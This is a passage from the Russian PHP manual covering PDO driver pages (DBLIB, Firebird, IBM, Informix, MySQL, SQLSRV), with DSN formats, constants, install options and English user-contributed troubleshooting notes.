Имя сервера, на котором располагается база данных. По умолчанию 127.0.0.1.

dbname

Имя базы данных.

charset

Клиентская кодировка.

appname

Имя приложения (используется в sysprocesses). По умолчанию "PHP Generic DB-lib" или "PHP freetds".

secure

В данный момент не используется.

Примеры

Пример #1 Примеры использования PDO_DBLIB DSN

Следующие примеры демонстрируют PDO_DBLIB DSN для соединения с базами данных Microsoft SQL Server и Sybase:

mssql:host=localhost;dbname=testdb
sybase:host=localhost;dbname=testdb
dblib:host=localhost;dbname=testdb

User Contributed Notes

Anonymous 14-Jan-2016 04:57
Instead of specifying tds version and client charset in freetds.conf, you may pass it as a parameter.
<?php $dsn = 'dblib:version=7.0;CHARSET=Windows-1251;host=domain.example.com;dbname=example;'; ?>
michal at durys dot pl 10-May-2013 08:22
If you're using FreeTDS driver and you want to use "charset" parameter then you may have to edit freetds.conf (e.g. /etc/freetds/freetds.conf) and force connection using at least version 7.0 of the protocol.

tds version = 7.0

Charset parameter accepts all encodings supported by iconv (execute iconv --list to show all encodings).
slach at 74mail dot ru 04-Feb-2009 02:11
when you connect to non standart 1433 port

for win32 use DSN like 'mssql:host=hostname,port;dbname=database'

for FreeTDS and DB-Lib use DSN like  'mssql:host=hostname:port;dbname=database'


Функции Firebird (PDO_FIREBIRD)

Введение

PDO_FIREBIRD - драйвер, реализующий интерфейс PHP Data Objects (PDO) для доступа к базам данных Firebird.

Установка

Для установки модуля PDO Firebird используйте опцию --with-pdo-firebird[=DIR], где [=DIR] указывает на директорию установки Firebird.

$ ./configure --with-pdo-firebird

Предопределённые константы

Перечисленные ниже константы определены данным драйвером и будут доступны только в случае, если PHP был собран с поддержкой этого модуля, или данный модуль был динамически загружен во время выполнения. Вдобавок, эти зависимые от драйвера константы должны быть использованы только совместно с этим драйвером. Использование атрибутов, специфичных для некоторого драйвера с другим драйвером может вызвать неожиданное поведение. Если ваш код выполняется с несколькими драйверами, то можно использовать функцию PDO::getAttribute() для получения атрибута PDO::ATTR_DRIVER_NAME для проверки драйвера.

PDO::FB_ATTR_DATE_FORMAT (int)

устанавливает формат даты.

PDO::FB_ATTR_TIME_FORMAT (int)

Устанавливает формат времени.

PDO::FB_ATTR_TIMESTAMP_FORMAT (int)

Устанавливает формат временной метки.

Содержание

  • PDO_FIREBIRD DSN — Соединение с базой Firebird

User Contributed Notes

sebastien dot caplet at l-seguin dot fr 16-Oct-2015 08:13
I have added fbclient.dll in windows/system32/


Соединение с базой Firebird

  • « Firebird (PDO)
  • IBM (PDO) »
  • PHP Manual
  • Firebird (PDO)
  • Соединение с базой Firebird

PDO_FIREBIRD DSN

(PECL PDO_FIREBIRD >= 0.1.0)

PDO_FIREBIRD DSN — Соединение с базой Firebird

Описание

Имя источника данных (Data Source Name, DSN) PDO_FIREBIRD состоит из следующих элементов:

Префикс DSN

firebird:.

dbname

Имя базы данных.

charset

Кодировка.

role

Имя роли SQL.

dialect

Диалект базы данных; либо 1 или 3. Если не указан, диалектом по умолчанию будет 3. Доступно с PHP 7.4.0.

Примеры

Пример #1 Пример PDO_FIREBIRD DSN с путём

Следующий пример демонстрирует PDO_FIREBIRD DSN для соединения с базой Firebird:

firebird:dbname=/path/to/DATABASE.FDB

Пример #2 Пример PDO_FIREBIRD DSN с путём и портом

Следующий пример демонстрирует PDO_FIREBIRD DSN с указанием пути и порта для соединения с базой Firebird:

firebird:dbname=hostname/port:/path/to/DATABASE.FDB

Пример #3 Пример PDO_FIREBIRD DSN для localhost и пути до employee.fdb в системе Debian

Следующий пример демонстрирует PDO_FIREBIRD DSN для соединения с Firebird на локальном хосте и базой данных employee.fdb:

firebird:dbname=localhost:/var/lib/firebird/2.5/data/employee.fdb

Пример #4 PDO_FIREBIRD DSN to connect to a dialect 1 database

Следующий пример демонстрирует PDO_FIREBIRD DSN для соединения с базой данных Firebird test.fdb, которая была создана с помощью диалекта 1. Поддерживается, начиная с PHP 7.4.0.

firebird:dbname=localhost:/var/lib/firebird/2.5/data/test.fdb;CHARSET=Windows-1251;dialect=1

User Contributed Notes

There are no user contributed notes for this page.


Функции IBM (PDO_IBM)

Введение

PDO_IBM - это драйвер, реализующий интерфейс PHP Data Objects (PDO) для предоставления возможности работать с базами данных IBM.

Установка

Для сборки модуля PDO_IBM на вашей системе должен быть установлен DB2 Client версии v9.1 или выше. DB2 Client можно загрузить с сайта » сайта разработки приложений IBM.

Замечание: Обратите внимание

DB2 Client версии v9.1 и выше поддерживает прямой доступ к DB2 для Linux, UNIX и Windows Server v8 и v9.1.

Также DB2 Client v9.1 поддерживает доступ к серверам DB2 UDB для i5 и DB2 UDB для z/OS, используя отдельно купленный » продукт DB2 Connect.

PDO_IBM - это модуль » PECL, так что следуйте инструкции Установка модулей PECL для установки данного модуля. Не забудьте указать команде configure местоположение заголовочных файлов DB2 Client и библиотек:

bash$ ./configure --with-pdo-ibm=/path/to/sqllib[,shared]
Команда configure по умолчанию будет использовать переменную окружения DB2DIR.

Содержание

  • PDO_IBM DSN — Соединение с базой данных IBM

User Contributed Notes

jwoehr at softwoehr dot com 27-Nov-2022 05:00
Connecting to IBM i (called "i5" above in the article) Db2 is usually simpler using PDO_ODBC with the IBM i ODBC driver for IBM i itself, Windows, Linux, or Mac, all free to download ... see https://www.ibm.com/support/pages/odbc-driver-ibm-i-access-client-solutions


Соединение с базой данных IBM

  • « IBM (PDO)
  • Informix (PDO) »
  • PHP Manual
  • IBM (PDO)
  • Соединение с базой данных IBM

PDO_IBM DSN

(PECL PDO_IBM >= 0.9.0)

PDO_IBM DSN — Соединение с базой данных IBM

Описание

Имя источника данных (Data Source Name, DSN) PDO_IBM базируется на IBM CLI DSN. Главный компонент PDO_IBM DSN:

Префикс DSN

Префикс DSN - ibm:.

DSN

DSN может быть одним из нижеследующего:

  • a) Настройка источника данных с помощью db2cli.ini или odbc.ini

  • b) Каталогизированное имя базы данных. Т.е. псевдоним базы данных в каталоге клиента DB2

  • c) Полноценная строка соединения: DRIVER={IBM DB2 ODBC DRIVER};DATABASE=database;HOSTNAME=hostname;PORT=port;PROTOCOL=TCPIP;UID=username;PWD=password;, где параметры означают следующее:

    database

    Имя базы данных.

    hostname

    Имя хоста или IP-адрес сервера баз данных.

    port

    Порт TCP/IP, на котором слушает база.

    username

    Имя пользователя.

    password

    Пароль пользователя.

Примеры

Пример #1 Пример PDO_IBM DSN с использованием db2cli.ini

Следующий пример демонстрирует PDO_IBM DSN для соединения с базой DB2 указанной как DB2_9 в db2cli.ini:

$db = new PDO("ibm:DSN=DB2_9", "", "");

[DB2_9]
Database=testdb
Protocol=tcpip
Hostname=11.22.33.444
Servicename=56789

Пример #2 Пример PDO_IBM DSN с использованием строки соединения

Следующий пример демонстрирует PDO_IBM DSN для соединения с базой DB2 с именем testdb используя синтаксис соединения DB2 CLI.

$db = new PDO("ibm:DRIVER={IBM DB2 ODBC DRIVER};DATABASE=testdb;" .
  "HOSTNAME=11.22.33.444;PORT=56789;PROTOCOL=TCPIP;", "testuser", "tespass");

User Contributed Notes

franck dot thomas at consult-ix dot fr 01-Aug-2019 11:14
The connection string is wrong for the example :
$db = new PDO("ibm:DRIVER={IBM DB2 ODBC DRIVER};DATABASE=testdb;" .
"HOSTNAME=11.22.33.444;PORT=56789;PROTOCOL=TCPIP;", "testuser", "tespass");

You get the PDO Exception with the error code -1329.

You have to write :
$db = new PDO(
"ibm:DRIVER={IBM DB2 ODBC DRIVER};DATABASE=testdb;" .
"HOSTNAME=11.22.33.444;PORT=56789;PROTOCOL=TCPIP;UID=testuser;PWD=testpass",
"",
"");


Функции Informix (PDO_INFORMIX)

Введение

PDO_INFORMIX - это драйвер, реализующий интерфейс PHP Data Objects (PDO) для доступа к базам данных Informix.

Установка

Для сборки модуля PDO_INFORMIX вам потребуется установленный на том же хосте Informix Client SDK 2.81 UC1 или выше. Informix Client SDK можно загрузить с » сайта поддержки IBM Informix.

PDO_INFORMIX является модулем » PECL, так что для его установки следуйте следующим инструкциям Установка модулей PECL. Выполните команду configure указав местоположение заголовочных файлов и библиотек Informix Client SDK:

   bash$ ./configure --with-pdo-informix=/path/to/SDK[,shared]
По умолчанию команда configure будет использовать значение переменной окружения INFORMIXDIR.

Перематываемый курсор

PDO_INFORMIX поддерживает перематываемые курсоры; однако по умолчанию их использование не разрешено. Для разрешения их поддержки вы должны указать ENABLESCROLLABLECURSORS=1 в соответствующих настройках соединения ODBC в odbc.ini или задать параметр EnableScrollableCursors=1 в строке соединения (DSN).

Содержание

  • PDO_INFORMIX DSN — Соединение с базой данных Informix

User Contributed Notes

Arie De Derde 19-May-2022 07:03
Informix PDO needs the INFORMIXDIR system variable available to the script running under the webserver, in my case apache 2.4.

Using setenv did not work, so I added in the systemd startup script /lib/systemd/system/apache2.service the following:

Environment=INFORMIXDIR=/opt/Informix_Software_Bundle

in the [Service] section.

Of course, the installation directory of your informix libraries may be different than /opt/Informix_Software_Bundle....


Соединение с базой данных Informix

  • « Informix (PDO)
  • MySQL (PDO) »
  • PHP Manual
  • Informix (PDO)
  • Соединение с базой данных Informix

PDO_INFORMIX DSN

(PECL PDO_INFORMIX >= 0.1.0)

PDO_INFORMIX DSN — Соединение с базой данных Informix

Описание

Строка соединения (Data Source Name, DSN) PDO_INFORMIX базируется на строке Informix ODBC DSN. Подробности конфигурирования Informix ODBC DSN читайте на сайте » Informix Dynamic Server Information Center. Основные элементы PDO_INFORMIX DSN:

Префикс DSN

informix:.

DSN

DSN должен быть или указан в odbc.ini или задан полной » строкой соединения.

Примеры

Пример #1 Использование PDO_INFORMIX DSN в odbc.ini

Следующий пример демонстрирует соединение с базой данных Informix определённой как Infdrv33 в odbc.ini:

$db = new PDO("informix:DSN=Infdrv33", "", "");

[ODBC Data Sources]
Infdrv33=INFORMIX 3.3 32-BIT

[Infdrv33]
Driver=/opt/informix/csdk_2.81.UC1G2/lib/cli/iclis09b.so
Description=INFORMIX 3.3 32-BIT
Database=common_db
LogonID=testuser
pwd=testpass
Servername=ids_server
DB_LOCALE=en_US.819
OPTIMIZEAUTOCOMMIT=1
ENABLESCROLLABLECURSORS=1

Пример #2 Соединение с использованием полноценной строки соединения

В следующем примере производится соединение с базой данных common_db с использованием строки соединения.

$db = new PDO("informix:host=host.domain.com; service=9800;
    database=common_db; server=ids_server; protocol=onsoctcp;
    EnableScrollableCursors=1", "testuser", "tespass");

User Contributed Notes

andres at wookplay dot com 27-Dec-2017 08:38
Example #2 PDO_INFORMIX DSN example using a connection string

To work properly, the DSN connection string must not have line breaks.

<?php

$conexion = new PDO("informix:host=host.domain.com; service=9800;
    database=common_db; server=ids_server; protocol=onsoctcp;
    EnableScrollableCursors=1", "testuser", "tespass");

    $sql    = "SELECT * FROM test";
    $prep   = $conexion->prepare($sql);
    $prep->execute();
    $result = $prep->fetchAll(PDO::FETCH_ASSOC);

    var_dump($result);

?>


Функции MySQL (PDO_MYSQL)

Введение

PDO_MYSQL - это драйвер, реализующий интерфейс PHP Data Objects (PDO) и предоставляет доступ из PHP к базам данных MySQL.

PDO_MYSQL по умолчанию использует эмулированную подготовку.

MySQL 8

При запуске PHP до версии 7.1.16 или PHP 7.2 до 7.2.4, установите плагин пароля по умолчанию MySQL 8 Server в mysql_native_password, иначе вы увидите ошибки, похожие на The server requested authentication method unknown to the client [caching_sha2_password], даже когда caching_sha2_password не используется.

Это связано с тем, что MySQL 8 по умолчанию использует caching_sha2_password, и плагин не распознается старыми версиями PHP (mysqlnd). Вместо этого измените это, установив default_authentication_plugin=mysql_native_password в my.cnf. Плагин caching_sha2_password будет поддерживаться в будущей версии PHP. Пока же модуль mysql_xdevapi поддерживает его.

Внимание

Осторожно: Некоторые типы MySQL таблиц (механизмы хранения, движков) не поддерживают транзакции. При написании кода с использованием транзакций применительно к таблицам, которые их не поддерживают, MySQL будет считать, что транзакция была начата успешно. Кроме того, выполнение любого DDL-запроса завершит все открытые транзакции, а также выполнит весь стек не завершённых запросов.

Замечание:

Драйвер MySQL не поддерживает должным образом PDO::PARAM_INPUT_OUTPUT через PDOStatement::bindParam(); хотя параметр можно использовать, он не обновляется (т.е. фактический вывод игнорируется).

Установка

Обычно установочные пакеты Unix имеют в своём составе бинарные пакеты PHP. Несмотря на то, что эти бинарные пакеты обычно собраны с поддержкой модуля MySQL, может понадобиться установка библиотек модулей отдельно. Проверьте свой дистрибутив на наличие нужных библиотек через пакетный менеджер.

К примеру, на Ubuntu установка пакета php5-mysql устанавливает модули ext/mysql, ext/mysqli, и PDO_MYSQL. На CentOS пакет php-mysql также устанавливает эти три модуля.

Также вы всегда можете скомпилировать необходимые модули самостоятельно. Сборка PHP из исходных кодов позволит вам собрать именно те модули MySQL, которые вам нужны, а также выбрать нужную клиентскую библиотеку для каждого модуля.

Используйте --with-pdo-mysql[=DIR] для установки модуля PDO MySQL, где необязательный параметр [=DIR] указывает директорию, где установлена MySQL. По умолчанию используется библиотека mysqlnd. Более детальный разбор по выбору библиотеки можно почитать в разделе "Выбор библиотеки MySQL".

Дополнительный параметр --with-mysql-sock[=DIR] указывает расположение unix-сокета MySQL для всех MySQL модулей, включая PDO_MYSQL. Если параметр не указан, поиск производится в директориях по умолчанию.

Дополнительный параметр --with-zlib-dir[=DIR] используется как префикс пути к libz.

$ ./configure --with-pdo-mysql --with-mysql-sock=/var/mysql/mysql.sock

Поддержка SSL включается, используя соответствующую константу PDO_MySQL, которая эквивалентна вызову » API MySQL-функции mysql_ssl_set() в C. К тому же SSL не может быть включён с помощью PDO::setAttribute, потому что соединение уже существует. Смотрите документацию MySQL о » подключении к MySQL с SSL.

Предопределённые константы

Перечисленные ниже константы определены данным драйвером и будут доступны только в случае, если PHP был собран с поддержкой этого модуля, или данный модуль был динамически загружен во время выполнения. Вдобавок, эти зависимые от драйвера константы должны быть использованы только совместно с этим драйвером. Использование атрибутов, специфичных для некоторого драйвера с другим драйвером может вызвать неожиданное поведение. Если ваш код выполняется с несколькими драйверами, то можно использовать функцию PDO::getAttribute() для получения атрибута PDO::ATTR_DRIVER_NAME для проверки драйвера.

PDO::MYSQL_ATTR_USE_BUFFERED_QUERY (bool)
По умолчанию все запросы выполняются в буферизованном режиме. Если этот атрибут установлен в значение false для объекта PDO, драйвер MySQL будет использовать небуферизованный режим.

Пример #1 Установка небуферизованного режима MySQL

<?php
$pdo = new PDO("mysql:host=localhost;dbname=world", 'my_user', 'my_password');
$pdo->setAttribute(PDO::MYSQL_ATTR_USE_BUFFERED_QUERY, false);

$unbufferedResult = $pdo->query("SELECT Name FROM City");
foreach ($unbufferedResult as $row) {
echo $row['Name'] . PHP_EOL;
}
?>

PDO::MYSQL_ATTR_LOCAL_INFILE (int)

Включить LOAD LOCAL INFILE.

Обратите внимание, что эта константа может быть использована только в массиве driver_options при создании дескриптора новой базы данных.

PDO::MYSQL_ATTR_LOCAL_INFILE_DIRECTORY (string)

Позволяет ограничить загрузку LOCAL DATA файлами, расположенными в указанном каталоге. Доступно, начиная с версии PHP 8.1.0.

Обратите внимание, что эта константа может использоваться только в массиве driver_options при создании нового дескриптора базы данных.

PDO::MYSQL_ATTR_INIT_COMMAND (string)

Команда, которую необходимо выполнить при подключении к MySQL-серверу. Также будет автоматически выполнена при переподключении.

Обратите внимание, что эта константа может быть использована только в массиве driver_options при создании дескриптора новой базы данных.

PDO::MYSQL_ATTR_READ_DEFAULT_FILE (int)

Чтение именованных параметров из файла my.cnf. Эта опция недоступна, если используется mysqlnd, потому что mysqlnd не читает файлы конфигурации MySQL.

PDO::MYSQL_ATTR_READ_DEFAULT_GROUP (int)

Чтение именованной группы параметров из файла my.cnf или из файла, определённого в константе MYSQL_READ_DEFAULT_FILE. Эта опция недоступна, если используется mysqlnd, потому что mysqlnd не читает файлы конфигурации MySQL.

PDO::MYSQL_ATTR_MAX_BUFFER_SIZE (int)

Максимальный размер буфера. По умолчанию равен 1 Мб. Эта константа не поддерживается при компиляции вместе с mysqlnd.

PDO::MYSQL_ATTR_DIRECT_QUERY (int)

Выполнять прямые запросы, не использовать подготовленные конструкции.

PDO::MYSQL_ATTR_FOUND_ROWS (int)

Возвращает количество найденных (совпавших) строк, а не количество изменённых строк.

PDO::MYSQL_ATTR_IGNORE_SPACE (int)

Разрешает пробелы после имён функций. Делает все имена функций зарезервированными словами.

PDO::MYSQL_ATTR_COMPRESS (int)

Включить сжатие сетевого соединения.

PDO::MYSQL_ATTR_SSL_CA (int)

Путь к файлу сертификата SSL.

PDO::MYSQL_ATTR_SSL_CAPATH (int)

Путь к директории, которая содержит SSL-сертификаты доверенных центров (CA), хранящиеся в формате PEM.

PDO::MYSQL_ATTR_SSL_CERT (int)

Путь к файлу с SSL-сертификатом.

PDO::MYSQL_ATTR_SSL_CIPHER (int)

Список из одного или более допустимых шифров для использования в SSL-шифровании в формате, который понимает OpenSSL. Например: DHE-RSA-AES256-SHA:AES128-SHA

PDO::MYSQL_ATTR_SSL_KEY (int)

Путь к файлу с ключом SSL.

PDO::MYSQL_ATTR_SSL_VERIFY_SERVER_CERT (int)

Предоставляет способ отключения проверки SSL-сертификата сервера.

Существует, начиная с PHP 7.0.18 и PHP 7.1.4.

PDO::MYSQL_ATTR_MULTI_STATEMENTS (int)

Если установлено как false, запрещает запуск множественных запросов, как для PDO::prepare(), так и для PDO::query().

Обратите внимание, что эта константа может быть использована только в массиве driver_options при создании нового дескриптора БД.

Настройка во время выполнения

Поведение этих функций зависит от установок в php.ini.

Опции конфигурации PDO_MYSQL
Имя | По умолчанию | Место изменения
pdo_mysql.default_socket | "/tmp/mysql.sock" | PHP_INI_SYSTEM
pdo_mysql.debug | NULL | PHP_INI_SYSTEM
Для подробного описания констант PHP_INI_*, обратитесь к разделу Где могут быть установлены параметры конфигурации.

Краткое разъяснение конфигурационных директив.

pdo_mysql.default_socket string

Устанавливает сокет домена UNIX. Эту опцию необходимо указать во время компиляции, если сокет домена найден во время конфигурирования. Эта настройка только для Unix.

pdo_mysql.debug bool

Разрешает отладку для PDO_MYSQL. Эта настройка доступна только, если PDO_MYSQL скомпилирован с "mysqlnd" и в режиме отладки PDO.

Содержание

  • PDO_MYSQL DSN — Соединение с базой данных MySQL

User Contributed Notes

Desislav Kamenov 29-Jan-2018 08:14
There is an important undocumented attribute which disables certificate CN verification available after
5.6.22 (not sure), 7.0.18 (verified) and 7.1.15 (not sure)

PDO::MYSQL_ATTR_SSL_VERIFY_SERVER_CERT

possible values: true, false
default value: true

Related PHP bugs:
https://bugs.php.net/bug.php?id=71845
https://bugs.php.net/bug.php?id=71003

and github PR: https://github.com/php/php-src/pull/1913
vafa ghoreyshi atgmailcom 06-Sep-2017 04:57
If you have the error 'could not find driver' and won't able to install driver for newer linux(Fedora, Redhat, CentOS) with latest PHP7/MariaDB10/Apache2.4 get this package installed and get every things smooth.
First download latest version of epel and remi for your distribution. This links is for Fedora 26:

wget https://dl.fedoraproject.org/pub/epel/6/x86_64/epel-release-6-8.noarch.rpm
wget https://rpms.remirepo.net/fedora/remi-release-26.rpm

Than install them

rpm -Uvh remi-release-26.rpm
rpm -Uvh epel-release-6-8.noarch.rpm

Know you can use remi repository to gest php-pdo and php-mysql.

yum --enablerepo=remi install php-pdo
yum --enablerepo=remi install php-mysql

Restart the Apache

systemctl stop httpd
systemctl start httpd

Good to go!
Gerald Schneider 09-Nov-2013 08:25
This page suggests that the constant PDO::MYSQL_ATTR_FOUND_ROWS  was always available (no note "exists as of X.X"), but I found the constant missing on an installation with PHP 5.2. After switching the PHP version to 5.3.27 on the webspace the constant was available.
curt at webmasterbond dot com 15-Apr-2011 05:54
Today's PHP snapshot now has SSL support for PDO. Follow the directions here ( http://dev.mysql.com/doc/refman/5.0/en/secure-create-certs.html ) to set up MySQL and then use the following connection options:

<?php
$pdo = new PDO(
    'mysql:host=hostname;dbname=ssldb',
    'username',
    'password',
    array(
        PDO::MYSQL_ATTR_SSL_KEY    =>'/path/to/client-key.pem',
        PDO::MYSQL_ATTR_SSL_CERT=>'/path/to/client-cert.pem',
        PDO::MYSQL_ATTR_SSL_CA    =>'/path/to/ca-cert.pem'
    )
);
?>
brian at diamondsea dot com 25-Jul-2008 11:26
SQLSTATE[HY000]: General error: 2014 Cannot execute queries while other unbuffered queries are active. ...

After spending hours trying to track down why we were getting this error on a new server, after the same code ran fine on other servers, we found the problem to be an old MySQL _client_ library running on our web server, and a latest-version MySQL _server_ running on the database server's box.

Upgraded the MySQL client on the web server to the current revision and the problem went away.
miller_kurt_e at yahoo dot com 20-Jul-2008 02:03
SQLSTATE[HY000]: General error: 2014 Cannot execute queries while other unbuffered queries are active. ...

This one can be a royal pain to deal with.  Never stack statements to be executed in one go.  Nobody ever mentions this possibility in all the posts I've seen dealing with this error.

This example is a Zend Framework example but the theory is the same.

As in:

<?php
$sql = <<<____SQL
     CREATE TABLE IF NOT EXISTS `ticket_hist` (
       `tid` int(11) NOT NULL,
       `trqform` varchar(40) NOT NULL,
       `trsform` varchar(40) NOT NULL,
       `tgen` datetime NOT NULL,
       `tterm` datetime,
       `tstatus` tinyint(1) NOT NULL
     ) ENGINE=ARCHIVE COMMENT='ticket archive';
     CREATE TABLE IF NOT EXISTS `request_hist` (
       `rqid` int(11) NOT NULL,
       `rqtid` int(11) NOT NULL,
       `rqsid` int(11) NOT NULL,
       `rqdate` datetime NOT NULL,
       `rqcode` tinyint(1) NOT NULL,
       `rssid` int(11) NOT NULL,
       `rsdate` datetime,
       `rscode` tinyint(1)
     ) ENGINE=ARCHIVE COMMENT='request archive';
     CREATE TABLE IF NOT EXISTS `relay_hist` (
       `rqid` int(5) NOT NULL,
       `sdesc` varchar(40) NOT NULL,
       `rqemail` varchar(40) NOT NULL,
       `sid` int(11) NOT NULL,
       `rlsid` int(11) NOT NULL,
       `dcode` varchar(5) NOT NULL
     ) ENGINE=ARCHIVE COMMENT='relay archive';
____SQL;
$result = $this->db->getConnection()->exec($sql);
?>

This will run fine but PDO will balk with the 'unbuffered' error if you follow this with another query.

Instead do:

<?php
$sql = <<<____SQL
     CREATE TABLE IF NOT EXISTS `ticket_hist` (
       `tid` int(11) NOT NULL,
       `trqform` varchar(40) NOT NULL,
       `trsform` varchar(40) NOT NULL,
       `tgen` datetime NOT NULL,
       `tterm` datetime,
       `tstatus` tinyint(1) NOT NULL
     ) ENGINE=ARCHIVE COMMENT='ticket archive';
____SQL;
$result = $this->db->getConnection()->exec($sql);

$sql = <<<____SQL
     CREATE TABLE IF NOT EXISTS `request_hist` (
       `rqid` int(11) NOT NULL,
       `rqtid` int(11) NOT NULL,
       `rqsid` int(11) NOT NULL,
       `rqdate` datetime NOT NULL,
       `rqcode` tinyint(1) NOT NULL,
       `rssid` int(11) NOT NULL,
       `rsdate` datetime,
       `rscode` tinyint(1)
     ) ENGINE=ARCHIVE COMMENT='request archive';
____SQL;
$result = $this->db->getConnection()->exec($sql);

$sql = <<<____SQL
     CREATE TABLE IF NOT EXISTS `relay_hist` (
       `rqid` int(5) NOT NULL,
       `sdesc` varchar(40) NOT NULL,
       `rqemail` varchar(40) NOT NULL,
       `sid` int(11) NOT NULL,
       `rlsid` int(11) NOT NULL,
       `dcode` varchar(5) NOT NULL
     ) ENGINE=ARCHIVE COMMENT='relay archive';
____SQL;
$result = $this->db->getConnection()->exec($sql);
?>

Chopping it into individual queries fixes the problem.
rmottey at gmail dot com 09-Jan-2008 03:51
I have been getting the error below when performing multiple queries within a single page.

Setting the attribute below did not seem to work for me.

So building on previous example i am initilizing my stmt  variable on every query and a fetch all into an array. Seems to be working for me.

Error:
PDO Error 1.1: Array ( [0] => xxx[1] => yyy[2] => Lost connection to MySQL server during query )

Fix:

(PDO::setAttribute("PDO::MYSQL_ATTR_USE_BUFFERED_QUERY", true);)

<?

try {
        $dbh = new PDO('mysql:host=xxx;port=xxx;dbname=xxx', 'xxx', 'xxx', array( PDO::ATTR_PERSISTENT => false));
 $stmt = $dbh->prepare("CALL getname()");

        // call the stored procedure
        $stmt->execute();
      // fetch all rows into an array.
       $rows = $stmt->fetchAll();
       foreach ($rows as $rs)
    {
          $id = $rs['id'];
         }
//initilise the statement
unset($stmt);
$stmt = $dbh->prepare("call secondprocedure(?);");
$stmt->bindValue(1, $id);
if ( ! $stmt->execute() )
{
    echo "PDO Error 1.1:\n";
    print_r($stmt->errorInfo());
    exit;
}
unset($stmt);
} catch (PDOException $e) {
        print "Error!: " . $e->getMessage() . "<br/>";
        die();
    }
?>
davey at php dot net 06-Jun-2007 01:46
To use "PDO::MYSQL_ATTR_USE_BUFFERED_QUERY" you should call
PDO::setAttribute(PDO::MYSQL_ATTR_USE_BUFFERED_QUERY, true);

It will not work when passed into PDO::prepare()


Соединение с базой данных MySQL

  • « MySQL (PDO)
  • MS SQL Server (PDO) »
  • PHP Manual
  • MySQL (PDO)
  • Соединение с базой данных MySQL

PDO_MYSQL DSN

(PECL PDO_MYSQL >= 0.1.0)

PDO_MYSQL DSN — Соединение с базой данных MySQL

Описание

Имя источника данных (Data Source Name или DSN) PDO_MYSQL состоит из следующих элементов:

DSN префикс

DSN-префикс - это mysql:.

host

Имя хоста, где находится сервер баз данных.

port

Номер порта, который слушает сервер баз данных.

dbname

Имя базы данных.

unix_socket

Сокет MySQL Unix (не должен использоваться совместно с host или port).

charset

Кодировка. Смотрите раздел Кодировки для дополнительной информации.

Примеры

Пример #1 Примеры DSN для PDO_MYSQL

Следующие примеры показывают использование PDO_MYSQL DSN для соединения с базой данных MySQL:

mysql:host=localhost;dbname=testdb
Более сложный пример:
mysql:host=localhost;port=3307;dbname=testdb
mysql:unix_socket=/tmp/mysql.sock;dbname=testdb

Примечания

Замечание: Только Unix:

Если имя хоста установлено как "localhost", то соединение происходит через сокет домена. Если PDO_MYSQL скомпилирован с использованием libmysqlclient, то путь к файлу-сокета будет совпадать с путём, по которому скомпилирован libmysqlclient. Если PDO_MYSQL скомпилирован с использованием mysqlnd, значение сокета по умолчанию, может быть выставлено с использованием настройки pdo_mysql.default_socket.

User Contributed Notes

anrdaemon at yandex dot ru 25-Feb-2022 11:47
Wrappers may add support for extra parameters in the DSN, which are ignored by PDO itself, but facilitate more fine-grained connection setup.

F.e. localization (particularly LC_TIME) and timezones support.

https://github.com/AnrDaemon/library-php/blob/335e9e58f22cca8c185b35cf201ad0a367ae4c9f/src/Wrappers/PDOMysql.php#L54-L69
FireDev 05-Feb-2020 05:32
The best way for me

$bdd= new PDO("mysql:host=localhost;dbname=test_db;charset=UTF8", "username", "password");
$bdd->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_WARNING);
divinity76 at gmail dot com 13-Oct-2019 04:07
here is the example i prefer myself, in my opinion, this is almost always "the correct way" to do it:
<?php

$db = new \PDO('mysql:host=localhost;dbname=testdb;charset=utf8mb4', 'username', 'password', array(
    \PDO::ATTR_EMULATE_PREPARES => false,
    \PDO::ATTR_ERRMODE => \PDO::ERRMODE_EXCEPTION
));
yuqiangliu at outlook dot com 23-Apr-2019 09:40
$options = array(
    PDO::MYSQL_ATTR_INIT_COMMAND => 'SET NAMES utf8',
);

SET NAMES utf8 is equivalent to

SET character_set_client = utf8;
SET character_set_results = utf8;
SET character_set_connection = utf8;
rhian 02-Dec-2016 03:13
xwisdom made a mistake in his comment and got it backwards, correction below:

If you are having problems accessing a remote MYSQL database, the solution is to make sure that you add a white-space after "mysql:"

Change this...:
mysql:host=remote;

...to this:
mysql: host=remote;

See original solution here:
http://stackoverflow.com/a/25432156
xwisdom at gmail dot com 07-Dec-2015 11:11
If you are having problems accessing a remote MYSQL database, the solution is to make sure that you remove any white-space after "mysql:"

Change this...:
mysql: host=remote;

...to this:
mysql:host=remote;

See original solution here:
http://stackoverflow.com/a/25432156
siguza at siguza dot net dot IGNORETHIS 04-Jan-2015 02:24
It should be noted that unix_socket can also be used for named pipes under Windows.

<?php
$pipeName = 'my_awesome_pipe';
$username = 'username';
$password = 'password';
$dbh = new PDO('mysql:unix_socket='.$pipeName, $username, $password);
?>
codeslinger at compsalot dot com 11-Mar-2009 03:00
I have tested this and found that the "dbname" field is optional.  Which is a good thing if you must first create the db.

After creating a db be sure to exec a "use dbname;"  command, or else use fully specified table references.


Функции модуля PDO_SQLSRV для Microsoft SQL Server

Введение

PDO_SQLSRV — это драйвер, реализующий интерфейс PHP Data Objects (PDO) для получения доступа из PHP к базам данных MS SQL Server (начиная с версии SQL Server 2005) и SQL Azure.

Установка

Наиболее часто используемая версия драйвера доступна здесь: » Загрузка SQLSRV. Исходный код драйвера размещён в » публичном репозитории.

За подробностями о системных требованиях обратитесь к разделу » Системные требования SQLSRV.

В Windows модуль PDO_SQLSRV включается путём загрузки и добавления соответствующих DLL-файлов в каталог модулей PHP и соответствующей записи в файл php.ini.

В Linux и macOS модуль PDO_SQLSRV можно установить с помощью » PECL. Подробности смотрите в » руководстве по установке.

Предопределённые константы

Перечисленные ниже константы определены данным драйвером и будут доступны только в случае, если PHP был собран с поддержкой этого модуля, или данный модуль был динамически загружен во время выполнения. Вдобавок, эти зависимые от драйвера константы должны быть использованы только совместно с этим драйвером. Использование атрибутов, специфичных для некоторого драйвера с другим драйвером может вызвать неожиданное поведение. Если ваш код выполняется с несколькими драйверами, то можно использовать функцию PDO::getAttribute() для получения атрибута PDO::ATTR_DRIVER_NAME для проверки драйвера.

PDO::SQLSRV_TXN_READ_UNCOMMITTED (int)
Данная константа - допустимое значение для ключа TransactionIsolation SQLSRV DSN. Устанавливает уровень изоляции транзакций для соединения в значение Read Uncommitted.
PDO::SQLSRV_TXN_READ_COMMITTED (int)
Данная константа - допустимое значение для ключа TransactionIsolation SQLSRV DSN. Устанавливает уровень изоляции транзакций для соединения в значение Read Committed.
PDO::SQLSRV_TXN_REPEATABLE_READ (int)
